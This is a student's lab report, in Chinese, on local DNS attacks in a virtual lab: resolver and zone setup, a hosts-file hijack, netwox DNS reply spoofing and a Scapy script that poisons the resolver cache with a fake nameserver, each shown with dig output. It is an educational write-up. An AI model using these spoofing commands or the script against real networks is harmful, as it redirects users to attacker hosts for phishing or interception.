Lab5-Report

57117136 孙伟杰

Task 1

设置 Attacker_IP 为 10.0.2.4,

设置 User_Machine_IP 为 10.0.2.5,

设置 local_DNS_Server_IP 为 10.0.2.6。

实验流程:

1.在/etc/resolvconf/resolv.conf.d/head 中加入以下条目

```
# Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)
#     DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN
nameserver 10.0.2.6
```

2.使条目生效并尝试 dig www.baidu.com 查看输出结果

```
[09/18/20]seed@VM:~$ sudo resolvconf -u
[09/18/20]seed@VM:~$ dig www.baidu.com
```

3.查询地址已经变为我们设置的那么 server 地址

```
;; Query time: 0 msec
;; SERVER: 10.0.2.6#53(10.0.2.6)
;; WHEN: Fri Sep 18 01:01:26 EDT 2020
;; MSG SIZE  rcvd: 271
```

Task 2

1.首先完成对 DNS 的配置工作

```
// dnssec-validation auto;
dnssec-enable no;
dump-file "/var/cache/bind/dump.db";
auth-nxdomain no;    # conform to RFC1035
```

2.尝试 ping www.baidu.com -c 5，服务器自动 DNS 查询

932	2020-09-18 02:43:34.8751940…	185.42.137.133	10.0.2.6	DNS	301 Standard query response 0x7777 A nnp.netnod.se A …
933	2020-09-18 02:43:34.8827416…	185.42.137.133	10.0.2.6	DNS	313 Standard query response 0x13e1 AAAA nnb.netnod.se…
934	2020-09-18 02:43:34.8830321…	185.42.137.133	10.0.2.6	DNS	313 Standard query response 0x09f0 AAAA nnu.netnod.se…
937	2020-09-18 02:43:34.8896158…	10.0.2.6	192.58.128.30	DNS	98 Standard query 0x042e A nnu.netnod.se OPT
940	2020-09-18 02:43:34.9198456…	192.42.93.30	10.0.2.6	DNS	550 Standard query response 0x57ad AAAA ns2.afrinic.n…
941	2020-09-18 02:43:34.9203157…	10.0.2.6	196.216.168.10	DNS	86 Standard query 0x8989 AAAA ns2.afrinic.net OPT
947	2020-09-18 02:43:35.0904549…	198.97.190.53	10.0.2.6	DNS	1225 Standard query response 0x9de5 A ns3.arin.net NS …
949	2020-09-18 02:43:35.0916230…	10.0.2.6	192.26.92.30	DNS	83 Standard query 0xb1c0 A ns3.arin.net OPT
952	2020-09-18 02:43:35.1253434…	192.58.128.30	10.0.2.6	DNS	1036 Standard query response 0x042e A nnu.netnod.se NS…
955	2020-09-18 02:43:35.1259385…	10.0.2.6	192.36.133.107	DNS	84 Standard query 0xfc35 A nnu.netnod.se OPT
962	2020-09-18 02:43:35.3149927…	192.26.92.30	10.0.2.6	DNS	544 Standard query response 0xb1c0 A ns3.arin.net NS …
963	2020-09-18 02:43:35.3157801…	10.0.2.6	204.61.216.50	DNS	83 Standard query 0xf39b A ns3.arin.net OPT
964	2020-09-18 02:43:35.3389126…	196.216.168.10	10.0.2.6	DNS	285 Standard query response 0x8989 AAAA ns2.afrinic.n…
965	2020-09-18 02:43:35.4171196…	10.0.2.6	192.55.83.30	DNS	83 Standard query 0xc050 AAAA ns3.arin.net OPT
966	2020-09-18 02:43:35.4793364…	10.0.2.6	194.0.11.112	DNS	84 Standard query 0x25f5 AAAA nnp.netnod.se OPT
967	2020-09-18 02:43:35.5367479…	204.61.216.50	10.0.2.6	DNS	267 Standard query response 0xf39b A ns3.arin.net A 1…
970	2020-09-18 02:43:35.6454815…	192.55.83.30	10.0.2.6	DNS	544 Standard query response 0xc050 AAAA ns3.arin.net …
971	2020-09-18 02:43:35.7242037…	194.0.11.112	10.0.2.6	DNS	550 Standard query response 0x25f5 AAAA nnp.netnod.se…
972	2020-09-18 02:43:36.0668530…	192.43.172.30	10.0.2.6	DNS	703 Standard query response 0x9cb9 AAAA ns.jsinfo.net…

3.再次 ping www.baidu.com -c 5

991	2020-09-18 02:47:03.7312298…	10.0.2.5	10.0.2.6	DNS	73 Standard query 0x55fe A www.baidu.com
992	2020-09-18 02:47:03.7318484…	10.0.2.6	10.0.2.5	DNS	302 Standard query response 0x55fe A www.baidu.com CNAME www.a.shifen.com A 180.101.49.11 A 180.…
995	2020-09-18 02:47:03.7373862…	10.0.2.5	10.0.2.6	DNS	86 Standard query 0x8f9a PTR 11.49.101.180.in-addr.arpa
996	2020-09-18 02:47:03.7380543…	10.0.2.6	218.2.135.2	DNS	97 Standard query 0xe6f3 PTR 11.49.101.180.in-addr.arpa OPT
997	2020-09-18 02:47:03.7437691…	218.2.135.2	10.0.2.6	DNS	146 Standard query response 0xe6f3 No such name PTR 11.49.101.180.in-addr.arpa SOA 1234.101.180.…
998	2020-09-18 02:47:03.7441844…	10.0.2.6	10.0.2.5	DNS	135 Standard query response 0x8f9a No such name PTR 11.49.101.180.in-addr.arpa SOA 1234.101.180.…

直接命中 DNS 服务器的 DNS 缓存，没有再进行迭代查询

Task 3

1.在/etc/bind/named.conf 添加 domain-ipaddr 的域和 ipaddr-domain 的域

```
include "/etc/bind/named.conf.options";
include "/etc/bind/named.conf.local";
include "/etc/bind/named.conf.default-zones";
zone "example.com"{
        type master;
        file "/etc/bind/example.com.db";
};
zone "0.168.192.in-addr.arpa"{
        type master;
        file "/etc/bind/192.168.0.db";
};
```

2.配置 192.168.0.db

```
$TTL 3D
@   IN    SOA    ns.example.com. admin.example.com. (
          1
          8H
          2H
          4W
          1D)
@   IN    NS     ns.example.com.
101 IN    PTR    www.example.com.
102 IN    PTR    mail.example.com.
10  IN    PTR    ns.example.com.
```

3.配置 example.com.db

```
$TTL 3D ; default expiration time of all resource records without
        ; their own TTL
@    IN SOA ns.example.com. admin.example.com. (
          1 ; Serial
          8H ; Refresh
          2H ; Retry
          4W ; Expire
          1D ) ; Minimum
@    IN NS ns.example.com. ;Address of nameserver
@    IN MX 10 mail.example.com. ;Primary Mail Exchanger
www  IN A 192.168.0.101 ;Address of www.example.com
mail IN A 192.168.0.102 ;Address of mail.example.com
ns   IN A 192.168.0.10 ;Address of ns.example.com
*.example.com. IN A 192.168.0.100 ;Address for other URL in ;
                                  ;the example.com domain
```

4.重启 bind9 服务，利用 dig www.example.com 查询 ip 地址

```
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 405
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 2

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       192.168.0.101

;; AUTHORITY SECTION:
example.com.            259200  IN      NS      ns.example.com.

;; ADDITIONAL SECTION:
ns.example.com.         259200  IN      A       192.168.0.10

;; Query time: 0 msec
;; SERVER: 10.0.2.6#53(10.0.2.6)
;; WHEN: Fri Sep 18 09:47:35 EDT 2020
;; MSG SIZE  rcvd: 93
```

5.说明建立的域成功修改了原本的映射关系

Task 4

1.修改 User 的/etc/hosts 文件

```
127.0.0.1       www.csrflabelgg.com
127.0.0.1       www.csrflabattacker.com
127.0.0.1   www.repackagingattacklab.com
127.0.0.1   www.seedlabclickjacking.com
10.0.2.4    www.bank32.com
```

2.尝试 ping www.bank32.com,可见 ping 的 ip 已经成功修改

```
[09/18/20]seed@VM:~$ ping www.bank32.com -c 5
PING www.bank32.com (10.0.2.4) 56(84) bytes of data.
64 bytes from www.bank32.com (10.0.2.4): icmp_seq=1 ttl=64 time=0.459 ms
64 bytes from www.bank32.com (10.0.2.4): icmp_seq=2 ttl=64 time=0.693 ms
64 bytes from www.bank32.com (10.0.2.4): icmp_seq=3 ttl=64 time=0.438 ms
64 bytes from www.bank32.com (10.0.2.4): icmp_seq=4 ttl=64 time=0.687 ms
64 bytes from www.bank32.com (10.0.2.4): icmp_seq=5 ttl=64 time=0.659 ms

--- www.bank32.com ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4089ms
rtt min/avg/max/mdev = 0.438/0.587/0.693/0.115 ms
```

3.尝试 dig www.bank32.com,可见 dig 的 ip 地址并未被修改

```
; <<>> DiG 9.10.3-P4-Ubuntu <<>> www.bank32.com -c 5
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 15338
;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;www.bank32.com.                        IN      A

;; ANSWER SECTION:
www.bank32.com.         300     IN      CNAME   bank32.com.
bank32.com.             300     IN      A       34.102.136.180

;; Query time: 729 msec
;; SERVER: 127.0.1.1#53(127.0.1.1)
;; WHEN: Fri Sep 18 10:05:16 EDT 2020
;; MSG SIZE  rcvd: 62
```

Task 5

1.在 Attacker Machine 运行 netwox 代码，制造假的 DNS Reply 包

```
[09/18/20]seed@VM:~$ sudo netwox 105 -h "www.example.net" -H "10.0.2.4" -a "ns.e
xample.com" -A "10.0.2.6" -f "src host 10.0.2.5"
DNS question  ----------------------------------------------------------.
| id=41688  rcode=OK             opcode=QUERY                           |
| aa=0 tr=0 rd=1 ra=0  quest=1  answer=0  auth=0  add=1                 |
| www.example.net. A                                                   |
| . OPT UDPpl=4096 errcode=0 v=0 ...                                   |
|______________________________________________________________________|
DNS answer  ------------------------------------------------------------.
| id=41688  rcode=OK             opcode=QUERY                           |
| aa=1 tr=0 rd=1 ra=1  quest=1  answer=1  auth=1  add=1                 |
| www.example.net. A                                                   |
| www.example.net. A 10 10.0.2.4                                       |
| ns.example.com. NS 10 ns.example.com.                                |
| ns.example.com. A 10 10.0.2.6                                        |
|______________________________________________________________________|
```

2.在 User Machine 上运行 dip 指令，观察 dip 结果，可见 dip 结果已经被成功修改

关闭 netwox 后，结果就返回了正常的 IP

```
; <<>> DiG 9.10.3-P4-Ubuntu <<>> www.example.net
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 41688
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1

;; QUESTION SECTION:
;www.example.net.               IN      A

;; ANSWER SECTION:
www.example.net.        10      IN      A       10.0.2.4

;; AUTHORITY SECTION:
ns.example.com.         10      IN      NS      ns.example.com.

;; ADDITIONAL SECTION:
ns.example.com.         10      IN      A       10.0.2.6

;; Query time: 65 msec
;; SERVER: 10.0.2.6#53(10.0.2.6)
;; WHEN: Fri Sep 18 10:16:15 EDT 2020
;; MSG SIZE  rcvd: 107
```

Task 6

1.首先在 Attacker Machine 上执行 netwox 代码

```
[09/18/20]seed@VM:~$ sudo netwox 105 -h "www.example.net" -H "10.0.2.4" -a "ns.e
xample.com" -A "2.3.3.3" -f "src host 10.0.2.5" -s raw -T 20
DNS question______________________________________________________.
| id=60056  rcode=OK             opcode=QUERY                     |
| aa=0 tr=0 rd=1 ra=0  quest=1  answer=0  auth=0  add=1           |
| www.example.net. A                                              |
| . OPT UDPpl=4096 errcode=0 v=0 ...                              |
|_________________________________________________________________|
DNS answer________________________________________________________.
| id=60056  rcode=OK             opcode=QUERY                     |
| aa=1 tr=0 rd=1 ra=1  quest=1  answer=1  auth=1  add=1           |
| www.example.net. A                                              |
| www.example.net. A 20 10.0.2.4                                  |
| ns.example.com. NS 20 ns.example.com.                           |
| ns.example.com. A 20 2.3.3.3                                    |
|_________________________________________________________________|
```

2.在 User Machine 上查看可见结果如下

```
; <<>> DiG 9.10.3-P4-Ubuntu <<>> www.example.net
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 60056
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1

;; QUESTION SECTION:
;www.example.net.               IN      A

;; ANSWER SECTION:
www.example.net.        20      IN      A       10.0.2.4

;; AUTHORITY SECTION:
ns.example.com.         20      IN      NS      ns.example.com.

;; ADDITIONAL SECTION:
ns.example.com.         20      IN      A       2.3.3.3
```

Task 7

1.首先在 Attacker Machine 编写并执行 Scapy 程序，代码如下：

```
#!/usr/bin/python
from scapy.all import *

def spoof_dns(pkt):
  if(DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname):
     IPpkt = IP(dst=pkt[IP].src,src=pkt[IP].dst)
     UDPpkt = UDP(dport=pkt[UDP].sport,sport=53)

     Anssec = DNSRR(rrname=pkt[DNS].qd.qname,type='A',
                    rdata='10.0.2.4',ttl=259200)
     NSsec  = DNSRR(rrname="example.net",type='NS',
                    rdata='ns.attacker32.com',ttl=259200)
     DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd,
                    aa=1,rd=0,qdcount=1,qr=1,ancount=1,nscount=1,
                    an=Anssec, ns=NSsec)
     spoofpkt = IPpkt/UDPpkt/DNSpkt
     send(spoofpkt)

pkt=sniff(filter='udp and (src host 10.0.2.6 and dst port 53)',
          prn=spoof_dns)
```

2.在 User Machine 上尝试 dig www.example.net

```
[09/18/20]seed@VM:~$ dig www.example.net

; <<>> DiG 9.10.3-P4-Ubuntu <<>> www.example.net
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 40534
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.example.net.               IN      A

;; ANSWER SECTION:
www.example.net.        259200  IN      A       10.0.2.4

;; AUTHORITY SECTION:
example.net.            259200  IN      NS      ns.attacker32.com.

;; Query time: 16 msec
;; SERVER: 10.0.2.6#53(10.0.2.6)
;; WHEN: Fri Sep 18 10:53:25 EDT 2020
;; MSG SIZE  rcvd: 91
```

3. 在 User Machine 上尝试 dig mail.example.net

```
[09/18/20]seed@VM:~$ dig mail.example.net

; <<>> DiG 9.10.3-P4-Ubuntu <<>> mail.example.net
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 2442
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;mail.example.net.              IN      A

;; Query time: 7 msec
;; SERVER: 127.0.1.1#53(127.0.1.1)
;; WHEN: Fri Sep 18 10:54:18 EDT 2020
;; MSG SIZE  rcvd: 34
```

4.说明 domain(.example.net.)对应的域名服务器已经被修改，因为 ns.attack32.com 不提供 DNS 服务，所以无响应